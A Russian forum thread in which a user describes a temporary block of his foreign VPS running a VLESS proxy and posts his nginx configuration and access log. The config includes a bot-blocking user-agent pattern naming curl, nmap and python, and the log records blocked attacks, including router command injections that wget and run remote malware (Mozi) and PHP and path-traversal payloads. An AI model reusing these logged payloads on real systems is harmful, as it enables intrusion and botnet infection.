Странная блокировка иностранных VPS в России

MrNone · October 27, 2025, 9:18pm

Сегодня 27 октября 2025 года с утра в моем регионе была блокировка моего сервера на Аезе, локация Нидерланды.

Сама блокировка была очень странной, так как при подключении к VLESS с xhttp соединение через небольшой промежуток времени зависало.

При подключении к серверу в v2rayng первый тест соединения в самом приложении проходил успешно (правда с большим пингом), остальные тесты проваливались с ошибкой “сбой при установлении tls соединения”.

Подумал что мой маскировочный сайт на пол человека кто-то умудрился ддосить или РКН решил заблокировать. Попробовал открывать сайт напрямую и обнаружил что он вообще не открывается.

Затем включил ByeByeDPI и с ним ситуация стала чуть лучше. Сайт с переменным успехом то открывался, то зависал на загрузке (возможно происходила блокировка при которой браузер получает какое-то количество килобайт и далее соединение блокируется).

На этом этапе и понял что имею дело с обычной блокировкой (ближе к вечеру блокировку сняли и сейчас все работает). Как только блокировку сняли решил посмотреть на сервере, что на нем происходило пока была блокировка и сильно удивился когда проверил логи nginx. В логах были странные записи, согласно которым у меня менялся IP (хотя провайдер не менялся и IP был один и тот же).

0.0.0.0 - - [27/Oct/2025:04:57:31 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"

188.43.87.69 - - [27/Oct/2025:04:57:38 +0000] "GET / HTTP/1.0" 200 3205 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"

0.0.0.0 - - [27/Oct/2025:11:56:02 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"

94.140.255.4 - - [27/Oct/2025:11:56:10 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"

0.0.0.0 - - [27/Oct/2025:12:06:08 +0000] "GET / HTTP/1.0" 200 3205 "https://my.domain.name/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"

92.126.155.68 - - [27/Oct/2025:12:07:49 +0000] "GET /devlog HTTP/1.0" 301 0 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36"

92.126.155.68 - - [27/Oct/2025:12:07:50 +0000] "GET /devlog/ HTTP/1.0" 200 3309 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36"

0.0.0.0 - - [27/Oct/2025:12:16:47 +0000] "GET / HTTP/1.0" 200 3205 "https://my.domain.name/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"

109.226.232.6 - - [27/Oct/2025:12:16:51 +0000] "GET /devlog/ HTTP/1.0" 200 3309 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.52 Mobile Safari/537.36"

Тему создал чтобы узнать у меня одного было нечто подобное или у кого-то может быть еще?

0ka · October 27, 2025, 9:22pm

что в логах непонятно совсем, если смущают чужие айпи то это нормально, в инете много ботов сканеров

v37 · October 27, 2025, 9:23pm

У меня тоже были проблемы с доступом к аезе сегодня, смена sni помогла

MrNone · October 27, 2025, 9:29pm

Увы, но здесь как мне кажется не в ботах дело. ByeByeDPI, был на фейк под google.com настроен, да и для противодействия ботам сканерам у меня nginx особым образом настроен, что по максимуму портить им жизнь

0ka · October 27, 2025, 9:30pm

увы, вы не предоставляете никакой полезной информации, что за логи до сих пор непонятно. что вы там настроили в nginx тоже неизвестно.

MrNone · October 27, 2025, 9:42pm

Конфиг nginx

server {
        listen 443 ssl http2;
        listen 8443 ssl http2;
        listen 443 reuseport quic;
        listen 8443 reuseport quic;
        listen [::]:443 ssl http2;
        listen [::]:443 reuseport quic;
        listen [айпи6.сайта]:443 ssl http2;
        listen [айпи6.сайта]:443 reuseport quic;

        quic_retry on;
        ssl_early_data on;

        access_log off;

        server_name домен.сайта;

        ssl_certificate /etc/xray/xray_cert/xray.crt;
        ssl_certificate_key /etc/xray/xray_cert/xray.key;
        ssl_protocols TLSv1.2 TLSv1.3;
        ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;

        add_header Strict-Transport-Security 'max-age=31536000; includeSubDomains; preload';
        add_header Content-Security-Policy "default-src 'self'; font-src 'self' 'unsafe-inline' https://fonts.googleapis.com/ https://fonts.gstatic.com/ https://cdn.jsdelivr.net/; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net/; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com/ https://cdn.jsdelivr.net/";
        add_header X-XSS-Protection "1; mode=block";
        add_header X-Frame-Options "DENY";
        add_header X-Content-Type-Options nosniff;
        add_header Referrer-Policy "strict-origin";
        add_header Permissions-Policy "geolocation=(),midi=(),sync-xhr=(),microphone=(),camera=(),magnetometer=(),gyroscope=(),fullscreen=(),payment=()";
        add_header Alt-Svc 'h3=":443"; ma=86400';

        root /var/www/html/;

        error_page 400 /400.html;
        error_page 403 /403.html;
        error_page 404 /404.html;
        error_page 405 /405.html;
        error_page 429 /429.html;
        error_page 500 /500.html;
        error_page 502 /502.html;
        error_page 503 /503.html;
        error_page 504 /504.html;

        location = /400.html {
                        internal;
                }

        location = /403.html {
                        internal;
                        }

        location = /404.html {
                        internal;
                        }

        location = /405.html {
                        internal;
                }

        location = /429.html {
                        internal;
                }

        location = /500.html {
                        internal;
                }

        location = /502.html {
                internal;
        }

        location = /503.html {
                        internal;
                }

        location = /504.html {
                        internal;
                }

        location /.well-known/acme-challenge {
                root /var/www/html;
                try_files $uri $uri/ =200;
        }

        client_header_timeout 1m;
        keepalive_timeout 1m;

        location ~* \.(%|cgi|cfg|git|env|php|zip|xml|asp|json) {
                return 444;
        }

        if ($http_user_agent ~* "letsencrypt|acme.sh") {
                return 200;
        }

        if ($http_user_agent ~* "https|zgrab|nmap|curl|.com|.io|python|Https|Bot|bot|wan|Wan|scan|async|.NET") {
                return 444;
        }

        if ($server_protocol = "HTTP/1.0") {
                return 301 https://127.0.0.1/$request_uri;
        }

        if ($host !~ "домен.сайта|айпи6.сайта") {
                return 301 https://127.0.0.1/$request_uri;
        }

        location /static/ {
                alias /var/www/html/static/;
                try_files $uri $uri/ =404;
        }

        location /favicon.ico {
                root /var/www/html/;
                try_files $uri =404;
        }

        location /thisPathDoesNotExistsOnServer {

                client_max_body_size 0;

                lingering_close always;

                grpc_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                client_body_timeout 5m;
        grpc_read_timeout 5m;
        grpc_send_timeout 5m;
        grpc_pass 127.0.0.1:1234;

        }

        location / {
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_pass http://127.0.0.1:8040;
                allow all;
                include /etc/nginx/exceptbots.conf;
        }

}

limit_req_zone $binary_remote_addr zone=mylimit:10m rate=5r/s;

server {
        listen 80 default_server;

        listen [::]:80 default_server;

        server_name домен.сайта;

        if ($server_protocol = "HTTP/1.0") {
                return 444;
        }

        if ($host !~ "домен.сайта"){
                return 444;
        }

        if ($http_user_agent ~* "letsencrypt|acme.sh") {
                return 301 https://$http_host$request_uri;
        }

        if ($http_user_agent ~* "https|zgrab|nmap|curl|.com|.io|python|Https|Bot|bot|wan|Wan|scan|async|.NET") {
                return 444;
        }

        location ~* \.(%|cgi|cfg|git|env|php|zip|xml|asp|json) {
                return 444;
        }

        limit_req zone=mylimit burst=20 nodelay;
        limit_req_status 444;

        location /.well-known/acme-challenge {
                root /var/www/html;
                try_files $uri $uri/ =200;
        }

        location / {
                return 301 https://$http_host$request_uri;
        }

}

server {

        listen 127.0.0.1:8040 default;

        root /var/www/html;

        server_name 127.0.0.1;

        set_real_ip_from 127.0.0.1;
        set_real_ip_from айпи4.сайта;

        real_ip_header X-Real-IP;
        real_ip_recursive on;

        error_page 400 /400.html;
        error_page 403 /403.html;
        error_page 404 /404.html;
        error_page 405 /405.html;
        error_page 429 /429.html;
        error_page 500 /500.html;
        error_page 502 /502.html;
        error_page 503 /503.html;
        error_page 504 /504.html;

        location /admin {
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_pass http://127.0.0.1:8090;
                allow айпи4.сайта;
                deny all;
        }

        location / {
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_pass http://127.0.0.1:8090;
        }

}

0ka · October 27, 2025, 9:44pm

понятнее ничего не стало

MrNone · October 27, 2025, 9:45pm

Проблемный /var/log/nginx/access.log

204.76.203.208 - - [27/Oct/2025:00:25:50 +0000] "GET /server.js HTTP/1.1" 444 0 "-" "Wget/1.0"
65.49.1.142 - - [27/Oct/2025:01:29:27 +0000] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03_\xD9_Z\x22\xCD\x9E\xD0\x9F\xA0\xC4i*\xFB\x877\xB4\xA8\x13\x8F||\x8AK$VJZ\xA5\xF9\x86+\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0" 400 157 "-" "-"
196.251.81.153 - - [27/Oct/2025:01:53:13 +0000] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/76.0.3809.81 Mobile/15E148 Safari/605.1"
45.132.49.26 - - [27/Oct/2025:02:11:08 +0000] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03\xEC\xC3\xF9\xA5,\x82\x12\x17\xEA_,U\x8F\xE3W\xC9\x9F&x\x1BN\x8Ayh{\xF1\x9B#\xE9^U\xB9 \xCA\x99,*\x9B\x83\x22\xF6\xCF]-u\x1B\xEA)\xB5\xBD{A>\x06\xD5\xFB\xEB\x0C$\xB3y\x88\x97*\x9E\x00\x5C\x13\x02\x13\x03\x13\x01\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\xAF\xC0\xAD\xC0]\xC0a\xC0+\xC0/\xC0\xAE\xC0\xAC\xC0\x5C\xC0`\xC0$\xC0(\xC0s\xC0w\xC0#\xC0'\xC0r\xC0v\xC0" 400 157 "-" "-"
40.124.168.253 - - [27/Oct/2025:02:24:29 +0000] "GET /ReportServer HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x"
143.177.186.238 - - [27/Oct/2025:02:40:54 +0000] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
35.92.200.212 - - [27/Oct/2025:02:48:47 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
78.153.140.176 - - [27/Oct/2025:03:35:52 +0000] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 6.0; rv:40.0) Gecko/20100101 Firefox/40.0"
203.55.131.4 - - [27/Oct/2025:04:02:34 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
123.245.84.212 - - [27/Oct/2025:04:08:01 +0000] "POST /dns-query HTTP/1.0" 301 0 "-" "Go-http-client/1.1"
123.245.84.212 - - [27/Oct/2025:04:08:02 +0000] "GET /dns-query/ HTTP/1.0" 200 2134 "https://microblog.ddns.net:443/dns-query" "Go-http-client/1.1"
205.210.31.164 - - [27/Oct/2025:04:27:58 +0000] "\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\x22\x83Cu(\xD1j\xBF\x17\xA4\x87R\xE3\xA0;@ t-\xAB\x87\xEE&\x0FL\x10uS3\x12\xAAm\x00\x00h\xCC\x14\xCC\x13\xC0/\xC0+\xC00\xC0,\xC0\x11\xC0\x07\xC0'\xC0#\xC0\x13\xC0\x09\xC0(\xC0$\xC0\x14\xC0" 400 157 "-" "-"
205.210.31.164 - - [27/Oct/2025:04:27:58 +0000] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x94}\xD6\xC1\x10I\xD8\xE9\xAB\x15\xDA\xDD\xC6\xF9IR\x01m\xE1\xB2Y^Gj\xBE}\xEE=#\xCC\xB6\xF8 a\xA1\xE4B\x02\xCD\x88\xE0\xD6+\xBA\x84\xF0\xFB\x89/\xF3|\xE6\xC0\x16\xB3\x8AEWH\x81sn\x8D\xD1\x0F\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0" 400 157 "-" "-"
45.230.66.106 - - [27/Oct/2025:04:32:50 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.230.66.106:10038/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 444 0 "-" "-"
0.0.0.0 - - [27/Oct/2025:04:57:31 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
188.43.87.69 - - [27/Oct/2025:04:57:38 +0000] "GET / HTTP/1.0" 200 3205 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:04:57:54 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:04:58:01 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:04:58:05 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:05:03:20 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Android 11; Mobile; rv:144.0) Gecko/144.0 Firefox/144.0"
0.0.0.0 - - [27/Oct/2025:05:05:24 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Android 11; Mobile; rv:144.0) Gecko/144.0 Firefox/144.0"
199.45.155.78 - - [27/Oct/2025:05:41:29 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
199.45.155.78 - - [27/Oct/2025:05:41:30 +0000] "GET / HTTP/1.1" 400 157 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
162.216.150.109 - - [27/Oct/2025:05:48:16 +0000] "GET / HTTP/1.1" 444 0 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
137.184.189.207 - - [27/Oct/2025:06:05:59 +0000] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);"
137.184.189.207 - - [27/Oct/2025:06:06:00 +0000] "GET /.git/config HTTP/1.1" 444 0 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);"
170.106.82.209 - - [27/Oct/2025:06:13:16 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
162.142.125.215 - - [27/Oct/2025:06:16:47 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
43.157.188.74 - - [27/Oct/2025:06:25:44 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
18.97.19.241 - - [27/Oct/2025:06:33:49 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KHTML, live Gecko) Chrome/53.0.3008.53 Safari/537.32"
18.97.19.241 - - [27/Oct/2025:06:33:49 +0000] "GET / HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KHTML, live Gecko) Chrome/53.0.3008.53 Safari/537.32"
43.157.38.228 - - [27/Oct/2025:06:40:25 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.167.232.38 - - [27/Oct/2025:06:54:05 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
80.82.70.133 - - [27/Oct/2025:07:18:21 +0000] "GET / HTTP/1.0" 444 0 "-" "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-G935F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.4 Chrome/67.0.3396.87 Mobile Safari/537.36"
37.119.242.53 - - [27/Oct/2025:07:30:56 +0000] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/router.tplink.sh%20-O-%7Csh) HTTP/1.1" 444 0 "-" "-"
37.119.242.53 - - [27/Oct/2025:07:30:56 +0000] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/router.tplink.sh%20-O-%7Csh) HTTP/1.1" 444 0 "-" "-"
94.74.191.2 - - [27/Oct/2025:07:47:04 +0000] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 444 0 "-" "-"
103.91.187.252 - - [27/Oct/2025:09:07:05 +0000] "GET /myadmin/index.php?lang=en HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
185.131.53.100 - - [27/Oct/2025:09:12:57 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 157 "-" "-"
185.131.53.100 - - [27/Oct/2025:09:12:58 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 157 "-" "-"
185.131.53.100 - - [27/Oct/2025:09:12:59 +0000] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 444 0 "-" "libredtail-http"
130.131.162.156 - - [27/Oct/2025:09:32:35 +0000] "GET /developmentserver/metadatauploader HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x"
34.65.84.24 - - [27/Oct/2025:09:58:44 +0000] "\x16\x03\x01\x00M\x01\x00\x00I\x03\x03\xF5\x0El\xD5$\xAAU\xA6Hp\xAAu\xCF\xCB \x1F^\xD5&\x1DL\xD0t\xFFz\xDA\xB4\xA3-I\x0B: 4\x08\xDD" 400 157 "-" "-"
74.235.161.102 - - [27/Oct/2025:10:55:01 +0000] "MGLNDD_77.221.155.134_80" 400 157 "-" "-"
89.248.167.149 - - [27/Oct/2025:11:27:00 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
0.0.0.0 - - [27/Oct/2025:11:54:20 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:11:55:18 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:11:56:02 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
94.140.255.4 - - [27/Oct/2025:11:56:10 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:11:56:33 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:11:56:48 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:11:57:31 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:11:59:09 +0000] "GET / HTTP/1.0" 200 3205 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
204.76.203.212 - - [27/Oct/2025:11:59:44 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
0.0.0.0 - - [27/Oct/2025:12:03:28 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:06:08 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
92.126.155.68 - - [27/Oct/2025:12:07:49 +0000] "GET /devlog HTTP/1.0" 301 0 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36"
92.126.155.68 - - [27/Oct/2025:12:07:50 +0000] "GET /devlog/ HTTP/1.0" 200 3309 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:16:13 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:16:37 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:16:45 +0000] "GET /devlog HTTP/1.0" 301 0 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:16:45 +0000] "GET /devlog/ HTTP/1.0" 200 3309 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:16:47 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
109.226.232.6 - - [27/Oct/2025:12:16:51 +0000] "GET /devlog/ HTTP/1.0" 200 3309 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.52 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:16:52 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:16:53 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:18:00 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:18:10 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:18:12 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:18:13 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:18:14 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:19:04 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:19:06 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:19:08 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:19:09 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:19:32 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:20:57 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
